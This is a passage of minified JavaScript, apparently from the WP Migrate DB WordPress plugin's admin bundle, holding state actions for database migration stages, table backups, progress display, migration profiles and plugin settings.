a=(0,d.ud)("intent",t()),n=(0,d.jG)("current_migration",t()),r=n.backup_option,i=n.tables_option,l=[],s="push"===a?(0,d.vg)("prefixed_tables",t()):(0,d.yy)("this_prefixed_tables",t()),c="push"===a?(0,d.vg)("tables",t()):(0,d.yy)("this_tables",t());switch(r){case"backup_only_with_prefix":l=s;break;case"backup_selected":var o;o="import"===a?(0,d.vg)("tables",t()):"selected"===i?(0,d.ud)("tables_selected",t()):"pull"===a?(0,d.vg)("prefixed_tables",t()):(0,d.yy)("this_prefixed_tables",t()),l=c.filter((e=>o.includes(e)));break;case"backup_manual_select":l="push"===a?(0,d.vg)("tables",t()):(0,d.yy)("this_tables",t())}return l=e((0,u.W5)("wpmdbBackupTables",l,r))},F=e=>(0,l.b)(c.xy,e)},26388:(e,t,a)=>{"use strict";a.d(t,{Ad:()=>u,Az:()=>c,Bz:()=>_,Jt:()=>d,Kr:()=>m,OW:()=>p,nj:()=>o,oE:()=>g});var n=a(94263),r=a.n(n),i=a(57524),l=a(1626),s=a(48346);function c(e,t){var a=0;for(var n in e)r()(t,n)&&(a+=parseInt(e[n]));return a}var o=(e,t)=>async(t,n)=>"import"===e?(0,(await Promise.resolve().then(a.bind(a,56675))).selectFromImportData)("table_sizes",n()):"pull"!==e?(0,i.yy)("this_table_sizes",n()):(0,i.vg)("table_sizes",n()),d=e=>async(t,a)=>"push"!==e?(0,i.yy)("this_table_sizes",a()):(0,i.vg)("table_sizes",a());function m(e){return(t,a)=>(t((0,l.b)(s.PF,e)),e)}function p(){return(e,t)=>{var a=(0,i.w1)("document_title",t());document.title=a}}function u(){return(e,t)=>{e((0,l.b)(s.oC))}}function _(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return async(a,n)=>{var r=e>1e3?Math.ceil(e):e,c=parseInt(r);Number.isInteger(c)&&c>=1&&(r=c);var o,d=parseInt((0,i.w1)("stage_size",n()));t?d=parseInt(e):d+=r,a((o=d,(e,t)=>{var a=(0,i.ud)("stages",t()),n=(0,i.ud)("current_stage",t()),r=(0,i.w1)("total_stage_size",t()),c=a.length;n="migrate"===n?"tables":n;var d=a.findIndex((e=>e===n))+1,m=" ".concat(d," of ").concat(c),p=(0,i.w1)("document_title",t()),u=Math.floor(o/r*100)||0;return document.title="".concat(u,"% Stage ").concat(m," - ").concat(p),e((0,l.b)(s.Y0,o))}))}}function g(e){return async(t,a)=>{(0,i.w1)("total_stage_size",a()).length||t(m(e))}}},59833:(e,t,a)=>{"use strict";a.d(t,{S:()=>d,z:()=>o});var n=a(24467),r=a(17762),i=a(1626),l=a(48346),s=a(58728),c=a(33782);function o(e){return t=>{(0,n.vA)((()=>{t((0,i.b)(l.ks,(0,r.__)("Migration Failed","wp-migrate-db"))),t((0,i.b)(l.Ns,e)),t(d())})),(0,c.rh)(e)}}var d=()=>async(e,t)=>{e((0,s.Sp)()),e((0,s.OW)())}},11708:(e,t,a)=>{"use strict";a.d(t,{Ip:()=>l,Sp:()=>s,gF:()=>o,nz:()=>c});var n=a(57524),r=a(1626),i=a(48346),l=()=>async(e,t)=>{var a=(0,n.w1)("timer",t()),l={on:!0,time:a.time,start:Date.now()-a.time};e((0,r.b)(i.Z6,l));var s=setInterval((()=>{var a=(0,n.w1)("timer",t()),l=Date.now()-a.start;e((0,r.b)(i.bo,l))}),1e3);e((0,r.b)(i.$b,s))},s=()=>async(e,t)=>{e((0,r.b)(i.js,!1));var a=(0,n.w1)("timer",t()).timer_instance;clearInterval(a)},c=()=>async(e,t)=>{e((0,r.b)(i.I8,0)),e((0,r.b)(i.bo,0))},o=()=>async(e,t)=>{e(c()),e(l())}},58728:(e,t,a)=>{"use strict";a.d(t,{Jt:()=>y.Jt,e_:()=>w.e_,oH:()=>y.oH,fU:()=>y.fU,$$:()=>k,b8:()=>C,i:()=>E,aR:()=>A.Jt,nj:()=>A.nj,f_:()=>b,Az:()=>A.Az,UO:()=>g,SM:()=>x.S,B:()=>T,gF:()=>N.gF,OW:()=>A.OW,Ad:()=>A.Ad,nz:()=>N.nz,GD:()=>y.GD,o$:()=>y.o$,U:()=>y.U,zh:()=>x.z,oE:()=>A.oE,Ip:()=>N.Ip,Sp:()=>N.Sp,so:()=>v,Bz:()=>A.Bz});var n=a(94263),r=a.n(n),i=a(33782),l=a(60987),s=(0,a(31623).Mz)([e=>e.migrations.current_migration,e=>e.migrations.connection_info,e=>e.migrations.search_replace],((e,t,a)=>{var n=e.intent,i=(0,l.A)({},a);r()(["push","pull","import","savefile"],n)||(delete i.standard_search_replace,delete i.standard_options_enabled,delete i.standard_search_visible);var s={current_migration:e,search_replace:i};return r()(["push","pull"],n)&&(s.connection_info=t),s})),c=a(57524),o=a(23397),d=a(50029),m=a(48346),p=a(1626),u=a(95222),_=a(73035),g=()=>async(e,t)=>{e((async(e,t)=>{e((0,A.Ad)()),e((0,p.b)(m.f7)),e((0,p.b)(u.rq,[])),e((0,N.gF)());var a=(0,d.G)("current_profile",t());e((0,o.lH)(a))}));var n,l=s(t()),g=(0,c.jG)("current_migration",t()),f=(0,c.jG)("connection_info",t()),b=(0,c.ud)("intent",t()),h=function(e,t){var a="migrate";e.databaseEnabled&&"none"!==e.backup_option&&"backup_local"!==t?a="backup":"import"===t&&"none"===e.backup_option&&(a="upload");return a}(g,b),v=(0,c.ud)("stages",t()),E={intent:b,form_data:JSON.stringify(l),stage:h,stages:JSON.stringify(v),site_details:{local:(0,c.jG)("local_site",t()).site_details}};E=function(e,t,a,n){if(r()(["push","pull"],e)){t.url=a.connection_state.url,t.key=a.connection_state.key;var i=(0,c.jG)("remote_site",n());t.site_details.remote=i.site_details,t.temp_prefix=i.temp_prefix}else if("import"===e){var l=(0,c.vg)("import_gzipped",n());t.import_info={import_gzipped:JSON.stringify(l)}}else"backup_local"===e&&(t.intent="savefile");return t}(b,E,f,t),E.site_details=JSON.stringify(E.site_details),E=e((0,_.W5)("intiateMigrationPostData",E));try{n=await(0,i.ty)("/initiate-migration",E),e((async e=>{if((0,i.PQ)()){var t=(await Promise.resolve().then(a.bind(a,70472))).TrackMigrationStart;await e(t())}}))}catch(w){return e((0,x.z)({error_type:m.mN,error_message:w})),!1}return n.success?("savefile"===b&&e((0,p.b)("SET_FSE_DUMP_FILENAME",n.data.dump_filename)),h):(e((0,x.z)({error_type:m.mN,error_message:n.data})),e((0,x.S)()),!1)};var f=a(17762),b=(e,t)=>{switch(e){case"backup":return(0,f.__)("Backing up","wp-migrate-db");case"find_replace":return(0,f.__)("Searching table","wp-migrate-db");case"migrate":if("backup_local"===t)return(0,f.__)("Saving","wp-migrate-db")}return(0,f.__)("Transferring","wp-migrate-db")},h=e=>t=>t((0,p.b)(m.Hg,e)),v=(e,t,a,n,r)=>(l,s)=>{var o,d=a[e],m=t[d],p=(0,c.ud)("current_stage",s()),u=(0,c.w1)("item_progress",s());r=parseInt(r);var _=(0,c.yy)("this_table_rows",s()),g=null;(0,i.PQ)()&&(g=(0,c.vg)("table_rows",s())),o=_,"pull"===n&&"backup"===p?o=_:"pull"===n||"push"===n&&"backup"===p?o=g:"push"===n&&(o=_);var f=((e,t,a,n,r)=>{var i=e[t]||0,l=a[t],s=n/parseInt(l);s>1&&(s=1),-1===n&&(s=1);var c,o=r*s;return-1===n?(c=Math.ceil(parseInt(r))-Math.ceil(i),{estTransferred:o,totalTransferred:Math.ceil(c)}):{estTransferred:o,totalTransferred:c=o-i}})(u,d,o,r,m),b=f.estTransferred,v=f.totalTransferred;if(-1===r)return l(h({item:d,progress:1})),u[d]?l((0,A.Bz)(v)):l((0,A.Bz)(m));l(h({item:d,progress:b})),l((0,A.Bz)(v))};function E(e,t,a){return(e,t)=>{var n={};"undefined"!==typeof a.dump_filename&&(n.dump_filename=a.dump_filename),"undefined"!==typeof a.dump_path&&(n.dump_path=a.dump_path),"undefined"!==typeof a.full_site_export&&(n.full_site_export=a.full_site_export),"undefined"!==typeof a.export_path&&(n.export_path=a.export_path),e((0,p.b)(m.Ts,n))}}var w=a(97734),y=a(68647),A=a(26388);function k(){return(e,t)=>{var a=(0,c.ud)("intent",t()),n=(0,c.ud)("databaseEnabled",t()),r=(0,c.ud)("backup_option",t()),i=[];switch(a){case"push":case"pull":n&&"none"!==r&&i.push("backup"),n&&i.push("tables");break;case"find_replace":"none"!==r&&i.push("backup"),i.push("tables");break;case"import":"none"!==r&&i.push("backup"),i.push("upload"),i.push("import"),i.push("find_replace");break;case"savefile":n&&i.push("tables");break;case"backup_local":i.push("tables")}i=e((0,_.W5)("addMigrationStages",i)),e((0,p.b)(u.KN,i))}}var x=a(59833),N=a(11708),S=a(20380);var T=function(e,t,a){var n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"";return async(r,l)=>{var o=a||0,d=(0,c.ud)("intent",l()),_=(0,c.ud)("current_stage",l()),g=(0,c.ud)("backup_tables_selected",l()),h=(0,c.ud)("backup_option",l()),w=await r(function(e,t){return async a=>"backup"!==e?await a((0,A.nj)(t)):await a((0,A.Jt)(t))}(_,d)),k=await(0,c.kv)(l());"backup"===_&&"backup_manual_select"===h&&(k=g),r((0,A.oE)((0,A.Az)(w,k)));var N=s(l());if(o>=k.length)if("upload"===_)o=0;else{if("backup"!==_)return Promise.resolve("success");if(r((0,p.b)(u.kl,"backup")),r((0,A.Ad)()),(0,c.Qu)(l()))return r((0,p.b)(u.Ad,"migrate")),r(O("migrate"));if("find_replace"===d)return r((0,p.b)(u.Ad,"find_replace")),r(O("find_replace"));if("import"===d)return r((0,y.GD)(y.oH));o=0}var C=0;o===k.length-1&&(C=1);var R=(0,c.Qu)(l())?1:0,D=b(_,d);r((0,p.b)(m.ks,(0,f.nv)("%s %s",D,P(k[o],d))));var I,M={table:k[o],stage:(0,c.ud)("current_stage",l()),form_data:JSON.stringify(N),current_row:e,last_table:C,primary_keys:t,gzip:R,nonce:window.wpmdb_data.nonces.migrate_table,action:"wpmdb_migrate_table"},L=performance.now();try{I=await(0,i.Sl)(M)}catch(z){return console.error(z),r((0,x.z)({error_type:m.mN,error_message:z})),!1}if(!I.success)return r((0,x.z)({error_type:m.mN,error_message:I.data})),!1;var F=I.data.replace_data?JSON.parse(I.data.replace_data):null;F&&r((0,S.JZ)({table:k[o],data:F,time:performance.now()-L,executed:!0}));var B=I.data;r(v(o,w,k,d,B.current_row)),-1===parseInt(B.current_row)&&(o++,B.current_row="",B.primary_keys=""),1!==C||"savefile"!==d&&"backup_local"!==d||r(E(0,0,B));var U=[B.current_row,B.primary_keys,o];return n.length&&U.push(n),await r((0,y.GD)("MIGRATE",[{fn:T,args:U}],n))}},P=(e,t)=>"import"===t?e.replace(/_mig_/,""):e,O=e=>async(t,a)=>t((0,y.GD)("MIGRATE",[{fn:T,args:[-1,"",0]}],e)),C=(e,t)=>new Promise((function(a,n){window.setTimeout((()=>a(e())),t)}))},98791:(e,t,a)=>{"use strict";a.d(t,{Gx:()=>m,P_:()=>p,bZ:()=>d,sT:()=>o});var n=a(17762),r=a(1626),i=a(87135),l=a(33782),s=a(72076),c={message:(0,n.nv)((0,n.__)('Having trouble connecting to the REST API, please ensure that it has not been disabled or altered.',"wp-migrate-db"),"https://deliciousbrains.com/wp-migrate-db-pro/doc/rest-api-errors"),id:"wpmdb_rest_inactive"};function o(){return async e=>{e((0,r.b)(i.BA,"licence_expired")),e((0,r.b)(i.BA,"not_activated")),e((0,r.b)(i.BA,"activation_deactivated")),e((0,r.b)(i.BA,"wpmdb_invalid_license"))}}function d(){return async e=>{e((0,r.b)(i.wy,"licence_expired")),e((0,r.b)(i.wy,"not_activated")),e((0,r.b)(i.wy,"activation_deactivated")),e((0,r.b)(i.wy,"wpmdb_invalid_license"))}}function m(){return e=>{var t,a;e((t="wpmd_rest_inactive",a=c,async e=>e((0,r.b)(i._V,{key:t,value:a})))),e((0,r.b)(i.wy,"wpmdb_rest_inactive"))}}function p(e,t,a){return async(n,c)=>{var o;n((0,s.Lx)(e,!0,i.uf)),n((0,s.SH)(e,i.RO)),(0,l.ty)("/process-notice-link",{notice:e,type:t,reminder:a}).then((e=>{e.success})).catch((e=>{console.error(e)})),n((o=e,async e=>e((0,r.b)(i.tE,{key:o}))))}}},44016:(e,t,a)=>{"use strict";a.d(t,{AJ:()=>f,FC:()=>S,NX:()=>T,SZ:()=>h,TA:()=>b,Tz:()=>w,Vv:()=>k,Zg:()=>A,_t:()=>E,eH:()=>g,lJ:()=>v,lS:()=>x,o_:()=>N,w3:()=>_,yg:()=>y});var n=a(64573),r=a.n(n),i=(a(40783),a(1626)),l=a(834),s=a(16274),c=a(43318),o=a(48665),d=a(95222),m=a(73035),p=a(2454),u=a(4552),_=["tables","backups","post_types","advanced_options","standard_fields","custom_fields"];function g(e){return t=>{t({type:l.lY,payload:e})}}function f(e){return{type:l.S8,payload:e}}function b(e){return t=>{var a=[...e];t({type:l.Ib,payload:a})}}function h(e){return(t,a)=>{if("database"!==e)return t({type:l.RH,payload:e})}}function v(){return(e,t)=>{var a=(0,o.o)("panelsOpen",t()),n=(0,o.o)("registeredPanels",t()),r=[...a];return r=a.some((e=>_.includes(e)&&n.includes(e)))?r.filter((e=>!_.includes(e))):[...r,..._].filter((e=>n.includes(e))),e((0,i.b)(l.Ib,r)),!1}}function E(e){return(t,a)=>{t({type:l.RH,payload:e})}}function w(e){return(0,i.b)(l.TI,e)}function y(e){return(t,a)=>{if("database"!==e)return t((0,i.b)(l.oZ,[e]));var n=(0,o.o)("panelsOpen",a()).filter((e=>_.includes(e)||"database"===e));t((0,i.b)(l.oZ,n))}}function A(e){return(0,i.b)(l.Ns,e)}function k(e,t){return(a,n)=>{var r=null;"undefined"!==typeof t&&(r=[...t]),a({type:l.Hs,payload:e,panelPayload:r})}}var x=function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],a=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return(n,i)=>{var l=[...i().panels.panelsToDisplay];-1===r()(l,e)&&l.push(e),n(k(l)),t&&a&&n(f({parent:t,title:a}))}},N=e=>(t,a)=>{var n=[...a().panels.panelsToDisplay];e.forEach((e=>{-1===r()(n,e)&&n.push(e)})),t(k(n))},S=e=>(t,a)=>{var n=[...a().panels.panelsToDisplay],i=r()(n,e);-1!==i&&(n.splice(i,1),t(k(n)))};function T(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return(a,n)=>{var r=n(),l=a((0,p.X)());t||a((0,s.$V)());var o=e.panel,_=e.intent;if(t||a((0,i.b)(d.Rp,function(e){switch(e){case"savefile":return["gzip_file","replace_guids","exclude_transients"];case"find_replace":case"push":case"pull":return["replace_guids","exclude_transients"];case"backup_local":return["exclude_spam","exclude_transients","gzip_file"]}return[]}(_))),t||!l&&_!==r.migrations.current_migration.intent){a((0,m.Eo)("addonActions"));var g=a((0,m.W5)("addonPanels",[],_)),f=a((0,m.W5)("addonPanelsOpen",[o,"custom_fields"],_));g.push(o);"savefile"===_&&["media_files","theme_plugin_files"].forEach((e=>g.push(e))),a(k(g,f));["savefile","backup_local","find_replace"].includes(_)&&a((0,s.ub)(!0)),t||(a((0,s._P)({intent:_})),a((0,c.OU)(_))),["savefile","find_replace"].includes(_)&&a((0,u.addonsLoaded)())}}}},90467:(e,t,a)=>{"use strict";a.d(t,{F:()=>_,M:()=>u});var n=a(26961),r=a(19496),i=a(24914),l=a.n(i),s=a(57524),c=a(48665),o=a(834),d=a(16274),m=a(73035),p=a(33782);function u(){return(e,t)=>{e((0,d.Lx)("")),e((0,d.Gy)(l()()));var a=(0,s.dV)("custom_search_replace",t()),i=(0,s.yy)("this_url",t()),u=(0,s.yy)("this_path",t()),_=(0,s.ud)(["post_types_option","post_types_selected","backup_option","backup_tables_selected","tables_option","tables_selected","databaseEnabled","intent"],t()),g=(0,r.A)(_,8),f=g[0],b=g[1],h=g[2],v=g[3],E=g[4],w=g[5],y=g[6],A=g[7],k=t(),x=k.media_files,N=k.theme_plugin_files,S=k.migrations,T=(0,c.o)("panelsOpen",t()),P=(0,s.ud)("status",t())||[];if(""===P&&(P=[]),y){if(a.length){var O,C=(0,n.A)(a);try{for(C.s();!(O=C.n()).done;){var R=O.value;if(""===R.replace_old&&""!==R.replace_new||[(0,p.b5)(i),u].includes(R.replace_old)&&""===R.replace_new){P.push({name:"COMMON_SEARCH_REPLACE_EMPTY",panel:"custom_fields"});break}if(R.regex&&!R.isValidRegex){P.push({name:"COMMON_SEARCH_REPLACE_INVALID_REGEX",panel:"custom_fields"});break}}}catch(M){C.e(M)}finally{C.f()}}"selected"===f&&0===b.length&&P.push({name:"POST_TYPES_SELECTED_EMPTY",panel:"post_types"}),"backup_manual_select"===h&&0===v.length&&P.push({name:"BACKUP_TABLES_SELECTED_EMPTY",panel:"backups"}),"selected"===E&&0===w.length&&P.push({name:"TABLES_SELECTED_EMPTY",panel:"tables"})}var D=[];if(["push","pull","savefile"].includes(A)&&(x&&!0===x.enabled&&D.push("media"),N)){var I=function(e,t){var a=e.other_files,n=e.plugin_files,r=e.muplugin_files,i=e.theme_files,l=e.core_files,s=t.others,c=t.plugins,o=t.muplugins,d=t.themes,m=t.core,p=[];a&&!0===a.enabled&&Object.keys(s).length>0&&p.push("others");n&&!0===n.enabled&&Object.keys(c).length>0&&p.push("plugins");r&&!0===r.enabled&&Object.keys(o).length>0&&p.push("muplugins");i&&!0===i.enabled&&Object.keys(d).length>0&&p.push("themes");l&&!0===l.enabled&&Object.keys(m).length>0&&p.push("core");return p}(N,"pull"===A?S.remote_site.site_details:S.local_site.site_details);D.push(...I)}return!0===y&&D.push("database"),0===D.length&&P.push({name:"EMPTY_MIGRATION_STAGES",panel:"submit"}),!((P=e((0,m.W5)("wpmdbPreMigrationCheck",P))).length>0)||(e((0,d.Lx)(P)),P.forEach((t=>{T.includes(t.panel)||e({type:o.RH,payload:t.panel})})),!1)}}function _(e,t){if(!e||"object"!==typeof e||!e.length)return!1;var a=!1;return e.forEach((e=>{e.name===t&&(a=!0)})),a}},23397:(e,t,a)=>{"use strict";a.d(t,{xc:()=>P,Nh:()=>I,bs:()=>D,lH:()=>O,vK:()=>L,Iq:()=>C,Bi:()=>M,_7:()=>F,e:()=>T,On:()=>R});var n,r=a(60987),i=a(52888),l=a(25514),s=a.n(l),c=a(83649),o=a.n(c),d=a(50536),m=a(33782),p=a(1626),u=a(14057),_=a(95222),g=a(57748),f=a(98332);function b(){return b=Object.assign?Object.assign.bind():function(e){for(var t=1;ti.createElement("svg",b({style:{animationFillMode:"forwards",animationIterationCount:1},xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",id:"el_0iWebJDPz"},e),n||(n=i.createElement("style",null,"@keyframes kf_el_mS-6SGLslI_an_V1DkmYpQ2{0%,50%{opacity:0}53.33%,to{opacity:1}}@keyframes kf_el_flrbQh1w8k_an_9eUz96drwv{0%,to{stroke-dasharray:59.7}}@keyframes kf_el_flrbQh1w8k_an_C4kYjD6bN{0%{stroke-dashoffset:59.7}50%,to{stroke-dashoffset:0}}@keyframes kf_el_mS-6SGLslI_an_bM1FLjjf73{0%,50%,to{stroke-dasharray:11.74}}@keyframes kf_el_mS-6SGLslI_an_fdLET0VVs{0%,50%{stroke-dashoffset:11.74}to{stroke-dashoffset:0}}#el_0iWebJDPz *{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-timing-function:cubic-bezier(0,0,1,1);animation-timing-function:cubic-bezier(0,0,1,1)}")),i.createElement("g",{fillRule:"evenodd",style:{stroke:"#fff",fill:"none",WebkitTransform:"translate(2px,2px)",transform:"translate(2px,2px)"}},i.createElement("path",{style:{strokeWidth:2,WebkitAnimationFillMode:"forwards,forwards,forwards",animationFillMode:"forwards,forwards,forwards",strokeDashoffset:11.74,WebkitAnimationName:"kf_el_mS-6SGLslI_an_fdLET0VVs,kf_el_mS-6SGLslI_an_bM1FLjjf73,kf_el_mS-6SGLslI_an_V1DkmYpQ2",animationName:"kf_el_mS-6SGLslI_an_fdLET0VVs,kf_el_mS-6SGLslI_an_bM1FLjjf73,kf_el_mS-6SGLslI_an_V1DkmYpQ2",WebkitAnimationTimingFunction:"cubic-bezier(0,0,1,1),cubic-bezier(0,0,1,1),cubic-bezier(0,0,1,1)",animationTimingFunction:"cubic-bezier(0,0,1,1),cubic-bezier(0,0,1,1),cubic-bezier(0,0,1,1)",strokeDasharray:11.74},d:"M6 10.5 9.2 13 14 7"}),i.createElement("circle",{cx:10,cy:10,r:9.5,style:{fillOpacity:0,WebkitAnimationFillMode:"forwards,forwards",animationFillMode:"forwards,forwards",strokeDashoffset:59.7,WebkitAnimationName:"kf_el_flrbQh1w8k_an_C4kYjD6bN,kf_el_flrbQh1w8k_an_9eUz96drwv",animationName:"kf_el_flrbQh1w8k_an_C4kYjD6bN,kf_el_flrbQh1w8k_an_9eUz96drwv",WebkitAnimationTimingFunction:"cubic-bezier(0,0,1,1),cubic-bezier(0,0,1,1)",animationTimingFunction:"cubic-bezier(0,0,1,1),cubic-bezier(0,0,1,1)",strokeDasharray:59.7}})))))(h||(h=(0,g.A)(["\n #el_aEQFk8pHYY {\n stroke: #fff;\n }\n width: 30px;\n"]))),E=a(78290);function w(e){var t=e.migrations,a=t.current_migration,n=t.connection_info,i=t.search_replace,l=a;n=(0,m.PQ)()?(0,r.A)((0,r.A)({},n),{},{status:(0,r.A)({},E.C)}):void 0;var s={current_migration:a=(0,r.A)((0,r.A)({},l),{},{intent:l.intent,status:"",current_stage:"",stages:[],selected_existing_profile:null,running:!1,migration_enabled:!1}),connection_info:n,search_replace:i,media_files:e.media_files,theme_plugin_files:e.theme_plugin_files,multisite_tools:e.multisite_tools};return JSON.stringify(s)}function y(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return(a,n)=>{var r=w(n());return{name:e,value:r,guid:s()(),fromRecent:t}}}function A(e){return(t,a)=>(t({type:u.el,payload:e}),a())}function k(e,t){return async(a,n)=>{var r;return a((0,p.b)(u._v,"Save")),a((r={data:{location:e,message:(0,d.A)(t)}},(0,p.b)(u.XG,r))),!1}}function x(e){return(0,p.b)(u.px,e)}function N(){return(0,p.b)(u.tS)}function S(){return(0,p.b)(u.LK)}function T(e){return(0,p.b)(_.Zh,{id:e,type:"saved"})}function P(e){return async(t,a)=>{var n,r=t(y(e.name));t(N());try{n=await(0,m.ty)("/save-profile",r,!1,t)}catch(i){return t(k("migration",i))}if(!n.success)return t(k("migration",n));n.success&&t((0,p.b)(u._v,"success")),t(A({name:e.name,guid:r.guid,id:n.data.id}));return t((0,p.b)(_.k_,{profile_saved:!0})),t({type:u.rM,payload:{id:n.data.id,type:"saved"}}),n}}function O(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return async(t,a)=>{var n=a().migrations.current_migration,r=n.profile_name;if(null!==n.profile_type)return null;var i,l=t(y(r));l.id=e,t(S());try{i=await(0,m.ty)("/unsaved-profile",l,!1,t)}catch(s){return t(k("migration",s))}return i.success?("not saved"===i.data||t({type:u.xc,payload:i.data}),i):t(k("migration",i))}}var C=(e,t,a)=>async(n,r)=>{n(S());var i=await(0,m.ty)("/remove-recent-migration",{id:e});if(!i.success)return n(k("profile",i));n({type:u.J9,payload:{index:t,slice:a}})};function R(e){return{type:u.WG,payload:e}}function D(e,t){return async(a,n)=>{var i=n(),l=i.profiles.recent,s=o()(l,{id:e}),c=(0,r.A)((0,r.A)({},s),{},{fromRecent:"true"}),d=await a(function(e,t){return async(a,n)=>{var r;a(N());try{r=await(0,m.ty)("/save-profile",t,!1,a)}catch(i){return console.error(i),a(k("profile",i))}return r.success?(a(A({name:e.name,guid:t.guid,id:r.data.id})),a((0,p.b)(u._v,"Save")),r):a(k("profile",r))}}({name:s.name},c));d.success&&(a(C(e,t,"recent")),a(R(i.profiles.saved.length)))}}function I(e,t,a){return async n=>{var r;n((0,p.b)(u.St));try{r=await(0,m.ty)("/rename-profile",{guid:e,name:a})}catch(i){return n(k("profile",i))}if(!r.success)return n(k("profile",r));n(function(e,t){return async a=>{a({type:u.rZ,payload:{index:e,text:t}})}}(t,a)),n(R(t))}}var M=(e,t,a)=>async n=>{var r;n((0,p.b)(u.r));try{r=await(0,m.ty)("/remove-profile",{guid:e,name:a})}catch(i){return n(k("profile",i))}return r.success?(n({type:u.J9,payload:{index:t,slice:"saved"}}),!0):n(k("profile",r))};function L(e,t){return async(a,n)=>{var r=w(n());a(x(!0));var i,l={contents:r,guid:e};try{i=await(0,m.ty)("/overwrite-profile",l)}catch(s){return a(k("migration",s))}if(!i.success)return a(k("migration",i));a(x(!1)),i.success&&a((0,p.b)(u._v,"success")),a((0,p.b)(_.k_,{profile_saved:!0})),a({type:u.Yz,payload:t})}}var F=(e,t)=>a=>{var n=e.btn_text;return"success"===n?(setTimeout((()=>{var e;a((e="Save",async(t,a)=>{t((0,p.b)(u._v,e))}))}),2e3),i.createElement(v,{className:"success",onAnimationEnd:()=>{t(!1)}})):n}},43318:(e,t,a)=>{"use strict";a.d(t,{$p:()=>o,CC:()=>d,Ky:()=>l,OU:()=>p,Xe:()=>r,fW:()=>i,fj:()=>c,gE:()=>m,yt:()=>s});var n=a(58215);function r(e){return t=>{t({type:n.o8,payload:e})}}function i(e){return t=>{t({type:n.lb,payload:e})}}function l(e){return(t,a)=>{t({type:n.nu,payload:e})}}function s(e){return(t,a)=>{t({type:n.Ob,payload:e})}}function c(e){return{type:n.eE,payload:e}}function o(e){return{type:n.qA,payload:e}}function d(e){return{type:n.Oh,payload:e}}function m(e){return{type:n.UF,index:e}}function p(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];return(a,r)=>{var i=r(),l={intent:e,local_site:i.migrations.local_site,force_update:t};a({type:n.l$,payload:l})}}},82597:(e,t,a)=>{"use strict";a.d(t,{LC:()=>E,Ur:()=>v,Yt:()=>g,cD:()=>_,cF:()=>h,j2:()=>u,jd:()=>m,m_:()=>p,vs:()=>b});var n=a(24467),r=a(33782),i=a(86140),l=a(1626),s=a(50536),c=a(87135),o=a(72076);function d(e,t){return(a,n)=>(a((0,l.b)(i.F2,{location:e,message:(0,s.A)(t)})),!1)}function m(e){return(t,a)=>{t((0,o.SH)(e,i.pH))}}function p(e,t){return async(a,n)=>{a((0,o.Lx)(e,t,i.yc))}}function u(){return async e=>{e(p("reset_api_key",!0)),e(m("reset_api_key"));var t,a=await(0,r.ty)("/reset-api-key",{});if(!a.success)return e(d("reset_api_key",a)),e(p("reset_api_key","errored")),void setTimeout((()=>{e(p("reset_api_key",!1))}),1500);e(p("reset_api_key",!1)),e((t=a.data,e=>{e((0,l.b)(i._Q,t))}))}}function _(e,t){return a=>{a((0,l.b)(i.vG,{setting:e,value:t}))}}function g(e,t){return async a=>{a(d(e,t)),a(p(e,"errored"))}}function f(e,t,n,i){return async s=>{var o;s(p(t,!0)),s(m(t));try{o=await n()}catch(d){return s(g(t,d))}if(!o.success)return s(g(t,o));if(s(p(t,"success")),s(_(t,e)),i)switch(i){case"beta":if((0,r.PQ)())return Promise.resolve().then(a.bind(a,57900)).then((e=>{var t=e.betaOptionToggle;s(t())}));break;case"allow_tracking":s((0,l.b)(c.tE,{key:"notice-enable-usage-tracking"}))}setTimeout((()=>{s(p(t,!1))}),1500)}}function b(e,t,a){return async n=>n(f(t,e,(async()=>(0,r.ty)("/save-setting",{setting:e,checked:t})),a))}function h(e){return async t=>{var a=1024*e*1024;t(f(a,"max_request",(async()=>(0,r.ty)("/update-max-request",{max_request_size:a}))))}}function v(e){return async t=>{t(f(e,"delay_between_requests",(async()=>(0,r.ty)("/update-delay-between-requests",{delay_between_requests:e}))))}}function E(){return async e=>{e(p("disable_ssl",!0));var t=await(0,r.ty)("/disable-ssl",{});if(t.success)return(0,n.vA)((()=>{e(p("disable_ssl","success")),e(_("licence",""))})),setTimeout((()=>{(0,n.vA)((()=>{e(m("disable_ssl")),e(p("disable_ssl",!1))}))}),1500),t;(0,n.vA)((()=>{e(d("disable_ssl",t)),e(p("disable_ssl","errored"))}))}}},78290:(e,t,a)=>{"use strict";a.d(t,{C:()=>n});var n={auth_form:{username:"",password:""},show_auth_form:!1,connecting:!1,error:!1,error_msg:"",button_status:"disabled",ssl_notice:!1,pasted:!1,copy_to_remote:!1,prefix_mismatch:!1,mixed_case_table_name_warning:!1,show_mst_warning:!1,update_plugin_on_remote:!1,retry_over_http:!1}},95222:(e,t,a)=>{"use strict";a.d(t,{$9:()=>B,$O:()=>P,$x:()=>E,A$:()=>f,Ad:()=>C,GF:()=>D,Ge:()=>A,KN:()=>O,Ow:()=>h,Q3:()=>b,Rp:()=>N,UJ:()=>F,UL:()=>g,Zh:()=>T,cF:()=>j,cJ:()=>_,cM:()=>U,cu:()=>w,e:()=>x,hG:()=>k,iw:()=>v,k_:()=>p,kl:()=>L,l$:()=>q,l_:()=>G,mD:()=>R,nz:()=>Q,q2:()=>I,qA:()=>z,rq:()=>M,tk:()=>H,vZ:()=>y,vm:()=>S,xp:()=>V,ym:()=>u});var 